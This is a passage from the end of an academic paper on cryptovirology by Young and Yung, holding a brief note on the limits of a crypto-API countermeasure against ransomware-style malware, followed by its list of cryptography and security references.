This countermeasure assumes that the kernel is not penetrated by the malware in question. Also there are obvious limitations to these countermeasures. An attacker can always incorporate all of the needed cryptographic functionality within the malware. So, in many ways this approach merely forces attackers to do so. The approach may have appeal to operating system manufacturers that wish to avoid aiding attackers by providing uncontrolled access to a cryptographic API.

References

[1] Mihir Bellare and Phillip Rogaway. Random oracles are practical: A paradigm for designing efficient protocols. In *First ACM Conference on Computer and Communications Security*, pages 62–73, 1993.

[2] Mihir Bellare and Phillip Rogaway. Optimal asymmetric encryption. In Alfredo De Santis, editor, *Advances in Cryptology—Eurocrypt '94*, pages 92–111. Springer, 1995. Lecture Notes in Computer Science No. 950.

[3] E. Fujisaki, T. Okamoto, D. Pointcheval, and J. Stern. RSA-OAEP is secure under the RSA assumption. In J. Kilian, editor, *Advances*

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

in Cryptology—Crypto '01, volume 2139 of *Lecture Notes in Computer Science*, pages 260–274. Springer-Verlag, 2001.

[4] S. Goldwasser, S. Micali, and C. Rackoff. The knowledge complexity of interactive proof-systems. In *Proceedings of the* 17*th ACM Symposium on Theory of Computing*, pages 291–304. ACM, 1985.

[5] P. Golle and D. Boneh. Almost entirely correct mixing with applications to voting. In *Proceedings of the 9th ACM conference on Computer and Communications Security*, pages 59–68. ACM, 2002.

[6] American National Standards Institute. ANSI X9.17: Financial institution key management (wholesale), 1985. ASC X9 Secretariat—American Bankers Association.

[7] R. C. Merkle and M. E. Hellman. On the security of multiple encryption. *Communications of the ACM*, 24:465–467, July 1981.

[8] National Institute of Standards and Technology (NIST). *FIPS Publication 46-2: Data Encryption Standard*, December 30, 1993.

[9] National Institute of Standards and Technology (NIST). FIPS Publication 180-2: Secure Hash Standard. *Federal Register*, August 1, 2002.

[10] Department of Defense. *DoD 5220.22-M. National Industrial Security Program Operating Manual, Chapter 8: Automated Information System Security*, January 1995.

[11] Ronald L. Rivest, Adi Shamir, and Leonard M. Adleman. A method for obtaining digital signatures and public-key cryptosystems. *Communications of the ACM*, 21(2):120–126, 1978.

[12] RSA Data Security, Inc. *PKCS #1: RSA Cryptography Standard, Version 2.1*, June 2002.

[13] V. Shoup. OAEP reconsidered. In J. Kilian, editor, *Advances in Cryptology—Crypto '01*, pages 239–259. Springer-Verlag, 2001.

[14] Adam L. Young. Building a cryptovirus using Microsoft's cryptographic API. In Jianying Zhou, Javier Lopez, Robert H. Deng, and Feng Bao, editors, 8th International Conference on Information Security—ISC '05, pages 389–401. Springer, 2005. Lecture Notes in Computer Science No. 3650.

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

[15] Adam L. Young. Cryptoviral extortion using Microsoft's crypto API: Can crypto APIs help the enemy? International Journal of Information Security, 5(2):67–76, 2006.

[16] Adam L. Young and Moti M. Yung. Cryptovirology: Extortion-based security threats and countermeasures. In *Proceedings of the* 17*th IEEE Symposium on Security and Privacy*, pages 129–141. IEEE, May 1996.

[17] Adam L. Young and Moti M. Yung. *Malicious Cryptography: Exposing Cryptovirology*. Wiley, February 2004.

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.